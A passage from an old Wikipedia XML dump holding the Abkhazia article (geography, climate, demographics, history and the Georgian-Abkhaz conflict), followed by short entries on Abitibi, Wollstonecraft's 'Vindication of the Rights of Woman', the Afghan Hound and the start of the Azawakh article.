| '''[[Area]]'''&lt;br&gt;&amp;nbsp;&amp;ndash; Total &lt;br&gt;&amp;nbsp;&amp;ndash; % water
| &lt;br&gt;&amp;nbsp;8,600 km² &lt;br&gt;&amp;nbsp;Negligible
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total (2000 est.)&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| &lt;br&gt;&amp;nbsp;250,000&lt;br&gt;&amp;nbsp;29/km²
|-
| '''[[Currency]]''' || [[Russian ruble]]
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] +3
|}
'''Abkhazia''' ([[Abkhaz language|Abkhaz]] Аҧсны/Aphsny, [[Georgian language|Georgian]] აფხაზეთი/Apxazeti, [[Russian language|Russian]] Абха́зия/Abhazia) is a region of 8,600 [[square kilometre|km²]] (3,300 sq.mi.) in the [[Caucasus]]. It is formally an autonomous republic within [[Georgia (country)|Georgia]] but is ''[[de facto]]'' independent, although not recognised as such internationally. The capital is [[Sukhum]].

==Geography and Climate==
Abkhazia covers an area of about 8,600 km² at the western end of Georgia, on the north shore of the [[Black Sea]]. The [[Caucasus mountains]] to the north and the northeast divide Abkhazia from [[Circassia]]. To the east, the region is bordered by [[Svanetia]]. To the southeast, Abkhazia is bounded by [[Samegrelo]]; and on the south and southwest by the Black Sea.

The republic is extremely mountainous (nearly 75% is classified as mountains or foothills) and settlement is largely confined to the coast and a number of deep, well-watered valleys.  The [[Caucasus Mountains|Greater Caucasus Mountain Range]] runs along the region's northern border.  The Gagra, Bziphi, and Kodori Ranges branch off from the Main Caucasus Range.  The highest peaks of Abkhazia are in the northeast and east (along the border with [[Svanetia]]) and several exceed 4,000 meters (13,120 feet) above sea level. The climate is extremely mild, which in the Soviet times caused it to become a popular holiday destination known as the &quot;Georgian Riviera&quot;. It is also renowned for its agricultural produce, including [[tea]], [[tobacco]], [[wine]] and [[fruit]]s.

==Landscape==
Abkhazia is well known for its beauty and contrasting landscapes.  The landscapes of the region range from coastal forests ([[endemic (ecology)|endemic]] [[pine]] forests near Bichvinta/Pitsunda) and citrus plantations, to eternal snows and [[glaciers]] to the north of the republic.  Because of Abkhazia's complex topographic setting, most of the territory has been spared from significant human cultivation and development.  Therefore, a large portion of Abkhazia (nearly 70% of the territory) is still covered by forests today.  Abkhazia is also well known for the high number of endemic species of plants that are found only in the Caucasus, only in Georgia, or only in Abkhazia. 

Southeastern Abkhazia, a part of the [[Colchis|Colchis Lowland]], is covered by Colchian forests ([[alder]], [[hornbeam]], [[oak]], [[Oriental Beech|beech]]), or by [[citrus]] and [[tea]] plantations.  The foothills, up to an elevation of 600 meters (1,968 feet) above sea level, are covered by [[deciduous]] forests (with [[evergreen]] elements), and include tree species such as oak, hornbeam, beech, and [[buxus]].  The forest cover from 600 to 1,800 meters (1,960-5,904 ft.) above sea level is made up of both deciduous and [[coniferous]] species of trees.  The most common species are beech, [[Caucasian Spruce|spruce]], and [[Nordmann Fir|fir]].  The mixed forest zone is home to some of the tallest trees in [[Europe]] and the world, where some specimens of the Nordmann Fir (especially around [[Lake Ritsa]]) reach heights of over 70 meters (230 feet).  The zone extending 1,800-2,900 m (5,904-9,512 ft.) above sea level is made up of either subalpine forests or [[alpine]] meadows.  Territory lying above 2,900 m (9,512 ft.) is mainly covered by eternal snows and glaciers.

==Climate==
Because of Abkhazia's proximity to the [[Black Sea]], its climate is very mild, considering the northern [[latitude]].  The Caucasus Mountains are greatly responsible for moderating the region's climate, as they shield Abkhazia from cold northerly winds. 

The coastal areas of the Republic have a subtropical climate, where the average annual temperature in most regions is around 15 degrees [[Celsius]].  Average winter (January) temperatures vary between 4 and 6 degrees C, while average summer (July) temperatures are anywhere between 22 and 23 degrees C. The coastal territory rarely experiences strong frosts during the winter.  

Higher elevations of Abkhazia, above 1,000 meters (3,280 ft.) above sea level have a maritime, mountain climate, experiencing relatively cold winters and long, warm summers.  Elevations above 2,000 m (6,560 ft.) above sea level have colder winters and shorter summers.  Abkhazia's highest regions have a cold, summerless climate throughout the year.

Abkhazia receives high amounts of precipitation, but is known for its unique micro-climate (transitional from subtropical to mountain) along most of its coast, causing lower levels of humidity.  The annual precipitation along the coast ranges from 1,100 to 1,500 mm (43-59 inches).  The foothills, the lower ranges, and the interior gorges of the Republic receive anywhere between 1,000 and 1,800 mm (39-71 in.) of precipitation annually.  Some of the interior gorges that are sheltered from the moist influences of the Black Sea receive the lowest amounts of precipitation.  The higher mountainous regions receive 1,700-3,500 mm (67-138 in.) of precipitation per year.  Although there is usually no significant snowfall in the coastal regions, the mountains of Abkhazia do receive significant amounts of snow.  [[Avalanches]] in the northeast sometimes pose a threat to populated areas.  Snow depths often exceed 5 meters (18 feet) in some of the high, mountainous areas facing the Black Sea.

==Demographics==
The demography of Abkhazia has undergone major changes since the [[1990s]]. At the time of the last Soviet census in 1989, it had a population of about 500,000, of whom 48% were [[Georgian people|Georgians]] (principally [[Mingrel]]s) and only 17% of whom were [[Abkhazians]].

In 1993, a major war led to Abkhazia breaking away from Georgia, during which virtually the entire Georgian population - about 250,000 people - were displaced in what was alleged to be a campaign of [[ethnic cleansing]]. The conflict has not yet been resolved, and Abkhazia's much-reduced population is now largely ethnically Abkhazian.

After the expulsion of the ethnic Georgians, the Abkhazians became an ethnic plurality in Abkhazia (about 45%), with Russians, Armenians, Georgians, Greeks, and Jews comprising most of the remainder of the population of Abkhazia.

==History==
===Early history===

In the [[1st millennium BC]] ([[9th century BC|9th]]-[[6th century BC|6th centuries BC]]), the territory of modern Abkhazia was a part of the ancient kingdom of [[Colchis]] (''Kolkha''), which was absorbed in [[63 BC]] into the Kingdom of [[Egrisi]]. Greek traders established ports along the Black Sea shoreline. One of those ports, Dioscurias, eventually developed into modern [[Sukhum]], Abkhazia's traditional capital.

The [[Roman Empire]] conquered Egrisi in the [[1st century]] AD and ruled it until the [[4th century]], following which it regained a measure of independence, but remained within the [[Byzantine Empire]]'s sphere of influence. The Abkhazians were converted to [[Christianity]] during the rule of the Byzantine Emperor [[Justinian I]] in the mid-[[6th century]]. Abkhazia was made an autonomous principality of the Byzantine Empire in the [[7th century]] &amp;mdash; a status it retained until the [[9th century]], when it was united with the Georgian kingdom of [[Imereti]]. Actual independence from Constantinople ebbed and flowed during this period, which Abkhazians consider as a time of [[Abkhazian Kingdom]]. It is certain that Byzantine authority would have faded farther away from the towns, as one penetrated the mountains.

In the [[16th century]], the area was conquered by the [[Ottoman Empire]], during which the Abkhazians were partially converted to [[Islam]]. The Ottomans were pushed out by the Georgians, who established an autonomous Principality of Abkhazia (''Abkhazetis Samtavro'' in Georgian), ruled by the Sharvashidze dynasty.

===Abkhazia within the Russian Empire and Soviet Union===
The expansion of the [[Russian Empire]] into the Caucasus region led to small-scale but regular conflicts between Russian colonists and the indigenous Caucasian tribes. Various Georgian principalities were annexed to the empire between 1801 and 1864. The Russians acquired possession of Abhkazia in a piecemeal fashion between 1829 and 1842, but their power was not firmly established before 1864, when they managed to abolish the local Principality. Large numbers of Muslim Abkhazians &amp;mdash; said to have constituted as much as 60% of the Abkhazian population, although contemporary census reports were not very trustworthy &amp;mdash; emigrated to the Ottoman Empire between 1864 and 1878.

Modern Abkhazian historians insist that large areas of the region were left uninhabited, and that many [[Armenia]]ns, Georgians and Russians (all Christians) subsequently migrated to Abkhazia, resettling much of the vacated territory. This version of events is strongly contested by Georgian historians (see Lortkipanidze M., ''The Abkhazians and Abkhazia'', Tbilisi 1990) who argue that Georgian tribes ([[Samegrelo|Mingrelians]] and [[Svans]]) had populated Abkhazia from ancient times, since the [[Colchis]] kingdom. According to Georgian scholars, modern Abkhazians are the descendants of the North Caucasian tribes ([[Adygey]], [[Apsua]]), and are the ones who were moving down to Abkhazia from the North Caucasus mountains throughout history and merging there with the existing Georgian population. Either way, by the beginning of the 20th century, Abkhazians were a minority in the region. The ''[[Encyclopædia Britannica]]'' reported in 1911 that in the principal town, Sukhum-kaleh (modern Sukhum; population then 43,000), two-thirds were Mingrelian Georgians, and one-third Abkhazians. [[Image:Ritsa.jpg|thumb|250px|[[Lake Ritsa]] to the north from [[Pitsunda]].]]

The takeover of the [[Bolsheviks]] following the [[Russian Revolution of 1917|Russian Revolution]] in 1917 led to Abkhazia being granted a degree of cultural and political autonomy, until in 1931 [[Stalin]] made it an autonomous republic within [[Soviet Union|Soviet]] Georgia. Despite its nominal autonomy, it was subjected to strong central rule from Tbilisi, and the policy of &quot;Georgianization&quot; was forcibly imposed. Georgian became the official language, the Abkhaz language was banned, and cultural rights were repressed, with thousands of Abkhazians killed during Stalin's purges. [[Lavrenty Beria]] encouraged Georgian migration to Abkhazia, and many took up the offer and resettled there. Later, in the [[1950s]] and [[1960s]], [[Vazgen I]] and the Armenian church encouraged and funded the migration of Armenians to Abkhazia. Currently, Armenians are the largest minority group in Abkhazia.

The repression of Abkhazians was ended after Stalin's death and Beria's execution, and Abkhazians were given a much more powerful role in the governance of the autonomous republic. As in most of the smaller autonomous republics, the Soviet government encouraged the growth of culture, and particularly of literature. Ethnic quotas were established for certain bureaucratic posts, giving the Abkhaz a degree of political power that was disproportionate to their minority status in the republic. This was interpreted by some as a &quot;divide and rule&quot; policy whereby local elites were given a share in power in exchange for support for the Soviet regime. In Abkhazia as elsewhere, it led to other ethnic groups &amp;mdash; in this case, the Georgians &amp;mdash; resenting what they saw as unfair discrimination, thereby stoking ethnic discord in the republic.

===The Abkhazian War===
As the Soviet Union began to disintegrate at the end of the [[1980s]], ethnic tension grew between the Abkhazians and Georgians over Georgia's moves towards independence.  Many Abkhazians opposed this, fearing that an independent Georgia would lead to  &quot;Georgianization&quot;, and argued instead for the establishment of Abkhazia as an independent republic in its own right. The dispute soon turned violent in Sukhum on [[16 July]] [[1989]]. Sixteen Georgians were said to have been killed and another 137 injured when they wanted to enroll in a Georgian University instead of an Abkhazian one. After several days of violence, Soviet troops restored order in the city, but blamed rival nationalist paramilitaries for &quot;provoking&quot; confrontations.

Georgia declared independence on [[9 April]] [[1991]], under the rule of the former Soviet dissident [[Zviad Gamsakhurdia]]. Gamsakhurdia's rule became unpopular, and that December, the Georgian National Guard, under the command of [[Tengiz Kitovani]], laid siege to the offices of Gamsakhurdia's government in [[Tbilisi]]. After months of stalemate, he was forced to resign in January 1992. He was replaced as president by [[Eduard Shevardnadze]], the former Soviet foreign minister and architect of the disintegration of the Soviet Union. Shevardnadze inherited a government dominated by hardline Georgian nationalists, and although he was not an ethnic nationalist, he did little to avoid being seen as supporting the government figures and powerful coup leaders who were.

On [[21 February]] [[1992]], Georgia's ruling Military Council announced that it was abolishing the Soviet-era constitution and restoring the 1921 Constitution of the [[Democratic Republic of Georgia]]. Many Abkhazians interpreted this as an abolition of their autonomous status. In response, on [[23 July]] 1992, the Abkhazia government effectively declared independence, although this gesture went unrecognized by any other country. The Georgian government accused Gamsakhurdia supporters of kidnapping Georgia's interior minister and holding him captive in Abkhazia. The Georgian government dispatched 3,000 troops to the region, ostensibly to restore order. Heavy fighting between Georgian forces and Abkhazian militia broke out in and around Sukhum. The Abkhazian authorities rejected the government's claims, claiming that it was merely a pretext for an invasion. After about a week's fighting and many casualties on both sides, Georgian government forces managed to take control of most of Abkhazia, and closed down the regional parliament.

The Abkhazians' military defeat was met with a hostile response by the self-styled [[Confederation of Mountain Peoples of the Caucasus]], an umbrella group uniting a number of anti-Russian movements in the North Caucasus, Russia ([[Chechen]]s, [[Cossacks]], [[Ossetians]] and others). Hundreds of volunteer paramilitaries from Russia (including the then little known [[Shamil Basayev]]) joined forces with the Abkhazian separatists to fight the Georgian government forces . In September, the Abkhazians and Russian paramilitaries mounted a major offensive after breaking a cease-fire, which drove the Georgian forces out of large swathes of the republic. Shevardnadze's government accused Russia of giving covert military support to the rebels with the aim of &quot;detaching from Georgia its native territory and the Georgia-Russian frontier land&quot;. The year 1992 ended with the rebels in control of much of Abkhazia west of Sukhum. Significant &quot;[[ethnic cleansing]]&quot; occurred on both sides, with Abkhazians displaced from Georgian-held territory and vice-versa; some 3,000 people were reported to have been killed in this first phase of the war.

The conflict remained stalemated until July 1993, when Abkhazian (separatist) militia launched an attack on Georgian-held Sukhum. The capital was surrounded and heavily shelled, with Shevardnadze himself trapped in the city. Although a truce was declared at the end of July, this collapsed after a renewed Abkhaz attack in mid-September. After ten days of heavy fighting, Sukhum fell on [[27 September]], 1993. Newly appointed Georgian President Eduard Shevardnadze narrowly escaped death, having vowed to stay in the city no matter what, but he was eventually forced to flee when separatist snipers fired on the hotel where he was residing. Shevardnadze had to rely on the Russian navy to evacuate him from Sukhum.

The separatist forces quickly overran the rest of Abkhazia as the Georgian government faced a second threat: an uprising by the supporters of the deposed Zviad Gamsakhurdia in the region of Mingrelia (Samegrelo).  In the chaotic aftermath of defeat, almost the entire non-Abkhazian population fled the region by sea or over the mountains. Many thousands died &amp;mdash; it is thought that as many as 10,000 may have perished &amp;mdash; and some 250,000-300,000 people were forced into exile.

==Abkhazia today==
The Abkhaz conflict has not been resolved; a ceasefire agreement was signed on [[15 May]] [[1994]] and a [[United Nations]] peacekeeping force ([[UNOMIG]]) was given the task of monitoring the agreement. A separate force from the [[Commonwealth of Independent States]] (CIS) was assigned to a peacekeeping mission.

Peace talks have taken place on and off over the last ten years but have achieved little of significance. Although there have been no major outbreaks of fighting in the meantime, border clashes and armed raids by both sides continue to inflict casualties.

A new constitution was adopted on [[4 November]] [[1994]] which declared Abkhaz sovereignty. Elections were held on [[23 November]] [[1996]] but these were not recognised by the Georgian government or the international community, as the elections were held after [[ethnic cleansing]] when majority of pre-war population had fled Abkhazia. The CIS imposed economic sanctions in January 1996 and the region is formally blockaded by both Georgia and Russia.

On [[3 October]] [[2004]] presidential elections were held in Abkhazia. In the elections, Russia evidently supported then-Prime Minister [[Raul Khadjimba]], also backed by seriously ailing outgoing separatist President [[Vladislav Ardzinba]]. Posters of Russia's President [[Vladimir Putin]] together with Khadjimba, who like Putin had worked as a [[KGB]] official, were everywhere in Sukhum. Deputies of Russia's parliament and Russian singers, led by [[Joseph Kobzon]], both a deputy and a popular songster, came to Abkhazia compaigning for Khadjimba.

Still, on [[12 October]] Abkhazia's Supreme Court, after a series of contradictory decisions by the Electoral Committee, recognized that the new president would be businessman [[Sergei Bagapsh]], accused by his rival's supporters of being pro-Georgian. Abkhazia's outgoing President Ardzinba claimed the decision was illegal and made under pressure from supporters of Bagapsh. The decision was cancelled by the Supreme Court that night. When supporters of [[Raul Khadjimba]] seized the building of the Supreme Court and destroyed the protocols from local electoral constituencies, new elections were prescribed.

Soon the Supreme Court cancelled the later decision, and again named Bagapsh the new president. His supporters captured a local TV station, while Khadjimba's supporters took control over the parliament's building. Outgoing President Ardzinba replaced Khadjimba as prime minister with [[Nodar Khashba]], who before this appointment served in the [[Ministry of Extraordinary Situations (Russian Federation)|Ministry of Extraordinary Situations]] of Russia.

On [[12 November]] supporters of Bagapsh, who was planning to be inaugurated on [[7 December]], took the building of Abkhazia's administration, making [[Nodar Khashba]] flee from his room. Capturing the major governmental offices in Sukhum led to the death of one elderly woman, [[Tamara Shakryl]]. (Bagapsh's supporters claim she was killed by Ardzinba's guard.)  The same day Russia made it clear that it would directly intervene in Abkhazian developments in case of threats to its interests in this unrecognized republic, and blamed Bagapsh for the disorders.

In response, Georgia's Ministry of Foreign Affairs stated that it &quot;calls upon the Group of Friends of the UN Secretary General and the international community to give the proper reaction to such Russian declarations, to reiterate their support to Georgia's full sovereignty and territorial integrity and to warn Russia to abstain from any interference in Georgia's internal affairs.&quot;

In response to Georgia's accusations that Russia was sending its so-called peacemaking troops to Sukhum, Russian lieutenant colonel Yevgeni Morenko, head of the Collective Peacemaking Forces in the region, told journalists on [[12 November]] that only two armored troop-carriers were sent to Abkhazia's capital, &quot;for better protection of the Peacemaking Headquarters&quot;.

On [[14 November]], Prime Minister [[Nodar Khashba]], named by the relatives of Tamara Shakryl as responsible for her death and threatened by them, had to spend the night at Russia's Peacemaking Headquarters in Sukhum. Tensions continued to mount as the day for Bagapsh's inaugural ceremony came. In early December 2004, however, Bagapsh came to an agreement with Khadjimba under which they would run in new elections under a national unity ticket, with Bagapsh as presidential candidate and Khadjimba as vice-presidential candidate. The ticket won the elections with over 90% of the vote, and the new administration took office on [[12 February]] 2005.

==Abkhazia's future==
Abkhazian leaders have made alternating demands in recent years. At times, they have insisted on full independence, and at other times, they have requested associate membership in the Russian Federation. However, the Russian government has been slow to respond to the latter proposal, fearing the negative effect of such an action on its relations with Georgia. On [[28 November]] [[2003]], Russian MP [[Vladimir Zhirinovsky]] tabled such a resolution in the [[State Duma]], but saw it rejected. Nonetheless, many citizens of Abkhazia now possess Russian citizenship, and Abkhazians, unlike Georgians entering Russia, do not require a visa.

The [[Organization for Security and Co-operation in Europe]], [[European Union]] and [[United Nations]] have continued to insist that Abkhazia must remain part of Georgia, and that at the very least, the many Georgian refugees who fled after the 1992-1993 war must be allowed to return, before any acceptable vote on independence can be held.

The Georgian government has continued to insist on Abkhazia's reunification with Georgia, but has differed in its suggestions of means to achieve this, particularly under the government of current President [[Mikhail Saakashvili]].

They have, at times, proposed two main peace deals. The first one would divide Georgia into seven autonomous entities, each with power over police and economic issues, but relinquishing power over defence and foreign affairs to the federal government. In a later proposal, it was suggested that Georgia and Abkhazia could form one federal Georgian republic, somewhat along the lines of [[Serbia and Montenegro]].

The Georgian government has, at times, suggested that they may attempt to resolve the conflict by military means. After the 2004 removal of [[Ajaria]]n leader [[Aslan Abashidze]] from office after large public protests, Saakashvili suggested that Abkhazia and fellow separatist entity [[South Ossetia]] could be reintegrated in the same manner. However, over the following months, he distanced himself from this idea.

Saakashvili has also attempted to portray the Abkhaz dispute as being between Georgia and Russia, owing to the latter's support of the separatists, with the separatist government being portrayed as little more than a Russian puppet. To this end, they have pushed for either the complete removal of, or major changes to the mandate of, the Russian peacekeepers, and the removal of Russian military bases from Abkhaz territory. During 2003, they succeeded in achieving the latter demand, with Russia removing its bases, leaving only its peacekeeping force.

Both the Abkhazian government and opposition resolutely oppose reunification with Georgia under any circumstances.



==See also==
* [[Abkhaz language]]
* [[Georgian-Abkhaz conflict]]
* [[List of foreign ministers of Abkhazia]]
* [[List of Prime Ministers of Abkhazia]]
* [[List of Princes of Abkhazia]]
* [[Divan of the Abkhazian Kings]]

{{Asia}}
{{Europe}}

==External links==
*[http://www.abkhazia.org/ Abkhazia.org Web Site]
*[http://www.abhazia.com/ Abhazia.com Web Site]
*[http://www.apsny.ru/ www.apsny.ru Web Site]
*[http://www.abkhaziya.info/ www.abkhaziya.info Web Site]
*[http://www.abkhazeti.ru/ abkhazeti.ru Web Site]
*[http://www.caucaz.com/home_uk/pays.php?pays=5 Special Abkhazia on Caucaz.com, Weekly Online about South Caucasus]
*[http://news.bbc.co.uk/1/hi/world/europe/3261059.stm BBC Regions and territories: Abkhazia]
*[http://www.unpo.org/member.php?arg=03 Unrepresented Nations and Peoples Organisation]
*[http://www.usip.org/pubs/peaceworks/pwks19/chap3_19.html Publication of the United States Institute of Peace: ''Sovereignty after Empire Self-Determination Movements in the Former Soviet Union'', Hopes and Disappointments: Case Studies: ''Abkhazia'']
*[http://www.nplg.gov.ge/ic/library_e/gabeskiria/20.htm The Autonomous Republic of Abkhazeti - from Georgian National Parliamentary Library]
*[http://www.economist.com/world/europe/displayStory.cfm?story_id=3110979 Former Soviet war zones | The hazards of a long, hard freeze] ([[The Economist]], 19 August, 2004)

[[Category:Disputed territories]]
[[Category:Caucasus]]
[[Category:Abkhazia]]
[[Category:Panhandles]]
{{Link FA|es}}
[[ab:Аҧсны]]
[[an:Abjasia]]
[[bg:Абхазия]]
[[bn:আবখাজিয়া]]
[[ca:Abkhàzia]]
[[da:Abkhasien]]
[[de:Abchasien]]
[[et:Abhaasia]]
[[es:Abjasia]]
[[eo:Abĥazio]]
[[fr:Abkhazie]]
[[ko:압하스]]
[[hy:Աբխազիա]]
[[id:Abkhazia]]
[[it:Abkhazia]]
[[he:אבחזיה]]
[[ka:აფხაზეთის ავტონომიური რესპუბლიკა]]
[[lt:Abchazija]]
[[nl:Abchazië]]
[[ja:アブハジア]]
[[pl:Abchazja]]
[[pt:Abecásia]]
[[ro:Abhazia]]
[[ru:Абхазия]]
[[fi:Abhasia]]
[[sv:Abchazien]]
[[tt:Abxazía]]
[[tr:Abhazya]]
[[uk:Абхазія]]
[[zh:阿布哈茲]]</text>
    </revision>
  </page>
  <page>
    <title>Abitibi</title>
    <id>2833</id>
    <revision>
      <id>39245802</id>
      <timestamp>2006-02-11T20:42:50Z</timestamp>
      <contributor>
        <username>Kjkolb</username>
        <id>107439</id>
      </contributor>
      <comment>combined lists</comment>
      <text xml:space="preserve">'''Abitibi''' may mean:
* [[Abitibi-Consolidated]], a Canadian pulp and paper manufacturer
* [[Abitibi (electoral district)]] (Canada), a former federal electoral district
* [[Abitibi-Témiscamingue]] (Canada), a region of Quebec
* [[Abitibi County, Quebec]] (Canada), a historical county
* [[Abitibi Regional County Municipality, Quebec]] (Canada)
* [[Abitibi River]] (Canada)

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>A Vindication of the Rights of Woman</title>
    <id>2834</id>
    <revision>
      <id>40671443</id>
      <timestamp>2006-02-22T04:54:27Z</timestamp>
      <contributor>
        <username>CheshireKatz</username>
        <id>201100</id>
      </contributor>
      <comment>Reverting post-vandalism</comment>
      <text xml:space="preserve">[[Image:Wollstonecraft-right-of-woman.jpg|thumb|right|300px|Mary Wollstonecraft. Vindication of the Rights of Woman: with Strictures on Political and Moral Subjects. Boston: Peter Edes for Thomas and Andrews, 1792, frontispiece. Rare Book and Special Collections Division, Library of Congress]]
Written in [[1792]], [[Mary Wollstonecraft]]'s '''''A Vindication of the Rights of Woman''''' is one of the earliest works on &quot;[[the woman question]]&quot; and influenced the earliest [[feminism|feminists]] in [[England]] and [[United States|America]] in the [[19th century]], primarily in their distancing themselves from the work due to the controversial life of its author.

Some major themes of this work are [[education]] for girls, the debased position of women in society, the necessary [[social equality|equality]] of men and women, and the right of women to work.  

Shortly after publication, an anonymous parody appeared entitled &quot;A Vindication of the Rights of Beasts,&quot; in which the author (now known to be Cambridge Philosopher [[Thomas Taylor]]) applied all of Wollstonecraft's arguments to the rights of animals, showing that the same justifications that kept women subservient, could also be applied to animals.

==External links==

* [http://classiclit.about.com/library/bl-etexts/mwollstone/bl-mwoll-vin-in.htm free on-line text], hosted by [http://about.com/ About.com]
* [http://www.swan.ac.uk/poli/texts/wollstonecraft/vindicon.htm free on-line text], hosted by [http://www2.swan.ac.uk/ the University of Wales Swansea]

[[Category:Feminism books|Vindication of the Rights of Woman, A]]
[[Category:1792 books|Vindication of the Rights of Woman, A]]

{{fem-stub}}
{{Nonfiction-book-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Afghan Hound</title>
    <id>2835</id>
    <revision>
      <id>41223478</id>
      <timestamp>2006-02-25T22:12:45Z</timestamp>
      <contributor>
        <ip>68.154.23.19</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Dogbreed
&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
| image = Afghan_Hound_600.jpg
| image_caption = A gold coated Afghan
| name = Afghan Hound
| altname = Baluchi Hound &lt;br&gt; Sage Baluchi &lt;br&gt; Tazi
| country = [[Afghanistan]]
| fcigroup = 10
| fcisection = 1
| fcinum = 228
| fcistd = http://www.dogdomain.com/fcistandards/fci-228.htm
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/afghan_hound/index.cfm
| ankcgroup = Group 4 - (Hounds)
| ankcstd = http://www.ankc.aust.com/afghan.html
| ckcgroup = Group 2 - (Hounds)
| ckcstd = http://www.canadasguidetodogs.com/hounds/afghanarticle1.htm
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h765.htm
| nzkcgroup = Hounds
| nzkcstd = http://www.nzkc.org.nz/hounds/afghanhound.htm
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/afghanhound.std.shtml
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;
The '''Afghan Hound''' is a very old [[sighthound]] [[dog]] [[dog breed|breed]]. Distinguished by its thick, fine, silky coat and its tail  with a ring curl at the end, the breed acquired its unique features in the cold mountains of [[Afghanistan]], where it was originally used to hunt [[wolf|wolves]], [[fox]]es, and [[gazelle]]s. 

==Appearance==
[[Image:Afghan-Hound.jpg|thumb|150px|left|Afghan with reddish coat]]
The Afghan Hound is high-stationed, standing 24 to 28 inches (61-71 cm) in height and weighing 45 to 60 pounds (23-28 kg). The coat may be any colour, but white markings, particularly on the head, are discouraged; many individuals have a black facial mask. However all Afghan Hounds have a white &quot;blaze&quot; on the chest. Some are almost white, but particolor hounds (white with islands of red or black) are not acceptable and may indicate impure breeding.  The long, fine-textured coat requires considerable care and grooming. The long topknot and the shorter-haired saddle on the back in the mature dog are distinctive features of the Afghan Hound coat. The high hipbones and unique small ring on the end of the tail are also characteristics of the breed.

==Temperament==
The temperament of the Afghan Hound is aloof and dignified, but happy and clownish when playing. The breed has the reputation of being the least intelligent dog breed, though this is not necessarily true.  The Afghan Hound has many cat-like tendencies and is not slavish in its [[obedience training|obedience]] as are some other breeds. The Afghan hound has a leaning towards independence. Owners should not be surprised if their Afghan hounds sometimes choose to ignore commands. Although seldom used today for hunting in [[Europe]] and [[United States|America]] where they are popular, Afghans are frequent participants in [[lure coursing]] events and are popular as [[show dog]]s.

==Health==
Afghans are a relatively healthy breed; major health issues are [[allergy|allergies]], and [[cancer]]. Sensitivity to [[anaesthesia]] is an issue the Afghan hound shares with the rest of the [[sighthound]] group, as sighthounds have relatively low levels of body fat.

Afghan hounds as a whole are a fairly long-lived breed, often living 13-14 years.

==History==
The breed was always thought to date back at least to the pre-Christian era, and recent discoveries by researchers studying ancient DNA have revealed that the Afghan Hound is in fact one of the most [[ancient dog breeds]], dating back for many thousands of years. Its original native name, ''Tazi'', betrays its connection to the very similar [[Tasy]] breed of [[Russia]]. The proximity of southern [[Russia]] and [[Afghanistan]] argue for a common origin for both breeds. 

Initially, Afghani people refused to sell their national dog to outsiders; the breed was not seen in [[Europe]] and [[United States|America]] until after the turn of the [[20th century]]. [[American Kennel Club|AKC]] and [[CKC]] did not recognise the Afghan Hound until the 1930s. 

On August 3, 2005, Korean scientist [[Hwang Woo-Suk]] announced that his team of researchers had become the first team to successfully [[cloning|clone]] a dog. The dog, an Afghan Hound, was named [[Snuppy]]. Later that year, a pattern of lies and fraud by [[Hwang Woo-Suk]] came to light, throwing in doubt all his claims. Snuppy, nonetheless, was [http://www.cnn.com/2006/WORLD/asiapcf/01/09/skorea.stemcell.ap/index.html a genuine clone], and thus the first cloned dog in history. (&quot;The panel found that Hwang's claims last year to have created the world's first cloned dog, however, were genuine.&quot;)

==Famous Afghans==
*Rita from [[Oliver and Company]]
*[[Snuppy]] (see above)
*[[What-a-Mess]]
*Brainy Barker from [[Krypto the Superdog]]

[[Category:Dog breeds]]
[[Category:Sight hounds]]

&lt;!--- en:Afghan Hound ---&gt;

[[da:Afghansk mynde]]
[[de:Afghanischer Windhund]]
[[es:Sabueso afgano]]
[[eo:Afgana leporhundo]]
[[fr:Lévrier afghan]]
[[he:כלב אפגני]]
[[no:Afghansk mynde]]
[[pl:Chart afgański]]
[[sk:Afganský chrt]]
[[sr:Авганистански хрт]]
[[sv:Afghanhund]]
[[cs:Afgánský chrt]]</text>
    </revision>
  </page>
  <page>
    <title>Azawakh</title>
    <id>2836</id>
    <revision>
      <id>40359733</id>
      <timestamp>2006-02-20T01:20:57Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| image = Azawakh bitch Shira-tb.jpg
| image_caption = Azawakh bitch
| name = Azawakh
| altname = Tuareg Sloughi
| country = [[Mali]]
| fcigroup = 10
| fcisection = 3
| fcinum = 307
| fcistd = http://www.google.com/search?q=cache:AXaYK5FsCsgC:www.fci.be/uploaded_files/307gb98_en.doc+site:www.fci.be+307+/+03.+06.+1998&amp;hl=en&amp;ie=UTF-8
| akcgroup = Hound (FSS)
| akcstd = http://www.akc.org/breeds/asawakh/index.cfm
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/azawakh.std.shtml
| akcfss = 'akc fss breed'
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;

The '''Azawakh''' is a [[sight hound]] [[dog breed]] from [[Africa]]. 

==Appearance==
Rangy, leggy, lean, and elegant, the Azawakh is extremely high-stationed, taller than it is long. Its back length should be 90 percent of its leg length to [[withers]] (shoulder blades).  It has a deep chest, which should not go below the elbows, and a high tuck/waist.

The breed weighs from  33 to 55 pounds (15-25 kg); its height is 24 to 29 inches (60-74 cm). The coat is very short and almost absent on the belly.  Its bone structure shows clearly through the skin and musculature. Its muscles lie quite flat, unlike the [[Greyhound]], and in this respect it is closer to the [[Saluki]].

